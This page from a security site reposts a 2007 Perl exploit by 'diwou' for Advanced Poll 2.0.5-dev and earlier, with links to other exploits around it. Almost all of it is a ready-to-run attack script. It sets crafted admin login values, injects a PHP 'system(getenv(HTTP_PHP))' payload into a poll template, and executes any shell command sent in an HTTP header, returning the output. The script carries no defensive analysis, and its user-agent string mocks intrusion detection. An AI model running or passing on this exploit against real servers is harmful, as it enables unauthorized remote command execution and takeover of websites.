首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Advanced Poll <= 2.0.5-dev Remote Code Execution Exploit
来源:diwou@phucksys.org 作者:diwou 发布时间:2007-02-14  
#!/usr/bin/perl -w
# Advanced Poll 2.0.0 >= 2.0.5-dev textfile RCE.
#
# date: 30/07/06
#
# diwou <diwou@phucksys.org>
#
# PHCKSEC (c) 2001-2006.
#
# Hey, what a mad world!
#

use strict;
use warnings;
use LWP::UserAgent;
use MD5;

#
# args: http://url/apoll_path cmd
#
# proxy: export PROXY='http|https://www.my.big.and.famous.proxy:8080/'
# url: http|https://tatget:(port)/phppoll/
#

die("RTFC! ;)") unless(@ARGV>1);

my ($lwp,$agent,$out,$res,$url,$cmd)=(undef,undef,undef,undef,$ARGV[0],$ARGV[1]);

my %ipost=
(
poll_tplset => 'default',
'tpl[display_head.html]' =>
<<HEAD
\\".system(getenv(HTTP_PHP)).exit().\\"
<table width="\$pollvars[table_width]" border="0" cellspacing="0" cellpadding="1" bgcolor="\$pollvars[bgcolor_fr]">
  <tr align="center">
    <td><style type="text/css">
       <!--
        .input { font-family: \$pollvars[font_face]; font-size: 8pt}
        .links { font-family: \$pollvars[font_face]; font-size: 7.5pt; color: \$pollvars[font_color]}
       -->
      </style><font face="\$pollvars[font_face]" size="-1" color="#FFFFFF"><b>\$pollvars[title]</b></font></td>
  </tr>
  <tr align="center">
    <td>
      <table width="100%" border="0" cellspacing="0" cellpadding="2" align="center" bgcolor="\$pollvars[bgcolor_tab]">
        <tr>
          <td height="40" valign="middle"><font face="\$pollvars[font_face]" color="\$pollvars[font_color]" size="1"><b>\$question</b></font></td>
        </tr>
        <tr align="right" valign="top">
          <td>
            <form method="post" action="\$this->form_forward">
            <table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
              <tr valign="top" align="center">
                <td>
                  <table width="100%" border="0" cellspacing="0" cellpadding="1" align="center">
HEAD
,
action   =>  '',
tplset   =>  'default',
tpl_type =>  'display',
session  =>  '',
uid      =>  1
);

my %epost=
(
session    => '',
uid        => 1,
poll_tplst => 'default',
tpl_type   => 'display',
);

my %zday=
(
username => 'jakahw4nk4h',
'pollvars[poll_username]' => 'jakahw4nk4h',
password => 'fuckoff',
'pollvars[poll_password]' => ''
);

$zday{'pollvars[poll_password]'}=&md5($zday{password});
$agent="Hey IDS! i'm gonna fuck your advanced poll right? B===D"; # post method doesnt log it, so doesnt matter.
#$agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1";

$lwp=new LWP::UserAgent();
$lwp->agent($agent);
$lwp->timeout(10);
$lwp->protocols_allowed(['http','https']);

if($ENV{PROXY})
{
$lwp->proxy(['http','https'],$ENV{PROXY});
print "Using proxy ".$ENV{PROXY}."\n";
}

$url.="/" if($url!~/\/$/);
$url.="admin/index.php";
print "Doing some pretty with ".$url."...\n\n";

print "+ generating session...\n";
$out=$lwp->post($url,\%zday)->content();
if($out=~ /index\.php\?session=((.){32})/)
{
$ipost{'session'}=$epost{'session'}=$1;
print "  session: ".$ipost{'session'}."\n";

$url=~s/index\.php/admin_templates\.php/g;
print "+ injecting diplay_head.html template...\n";
$out=$lwp->post($url,\%ipost)->content();
$epost{'action'}=$1 if($out=~ /<input type="submit" name="action" value="(.*)" class="button">/);
print "  button: ".$epost{'action'}."\n";

$url=~s/admin_templates\.php/admin_preview\.php/g;
print "+ executing...\n";
$out=$lwp->post($url,\%epost,PHP => "echo BOCE;".$cmd.";echo EOCE")->content();

print "-- BOCE --\n";
foreach $out (split(/\n/,$out))
{
$res=1,next if($out=~/BOCE/);
$res=0,next if($out=~/EOCE/);
print $out."\n" if($res);
}
print "-- EOCE --\n";
}
else
{
print "don't worry, u can improve me! eh eh eh :D?\n";
}

sub md5
{
$_=new MD5;
$_->add(@_);
return unpack("H*",$_->digest());
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpCC <= 4.2 beta (nickpage.ph
·Lotus Domino <= R6 Webmail Rem
·Xaran Cms <= 2.0 (xarancms_hau
·Portable OpenSSH <= 3.6.1p-PAM
·AT Contenator <= v1.0 (Root_To
·MiniWebsvr <= 0.0.6 Remote Res
·Microsoft Visual Studio 64-bit
·Tencent QQ QQzone WebCtrl Acti
·uTorrent 1.6 Remote Heap Overf
·MailEnable Professional/Enterp
·ActSoft DVD-Tools (dvdtools.oc
·SunOS 5.10/5.11 in.telnetd Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved